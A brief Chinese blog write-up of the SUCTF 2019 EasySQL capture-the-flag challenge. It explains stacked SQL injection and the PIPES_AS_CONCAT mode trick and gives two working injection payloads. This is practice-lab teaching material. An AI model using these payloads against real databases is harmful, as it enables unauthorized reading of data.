[SUCTF 2019]EasySQL 1【BUUCFT】【SQL注入】

  • 堆叠注入
  • set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符
  • 没有过滤*的时候可以直接注入

解法1

*,1

解法2

1;set sql_mode=PIPES_AS_CONCAT;select 1

解析思路参照 The Chen's repository

posted @ 2020-07-20 10:14  Borber  阅读(435)  评论(0)    收藏  举报
编辑推荐：
· AES 加密模式演进：从 ECB、CBC 到 GCM 的 C# 深度实践
· InnoDB为什么不用跳表，Redis为什么不用B+树？
· 记一次 C# 平台调用中因非托管 union 类型导致的内存访问越界
· ［EF Core］聊聊“复合”属性
· 那些被推迟的 C# 14 特性及其背后的故事
阅读排行：
· 博客园出海记-开篇：扬帆启航
· 微软开源的 MCP 教程「GitHub 热点速览」
· 记一次 .NET 某汽车控制焊接软件 卡死分析
· 关于布尔类型的变量不要加 is 前缀，被网友们吐槽了，特来完善下
· C#中的多级缓存架构设计与实现深度解析
点击右上角即可分享
微信分享提示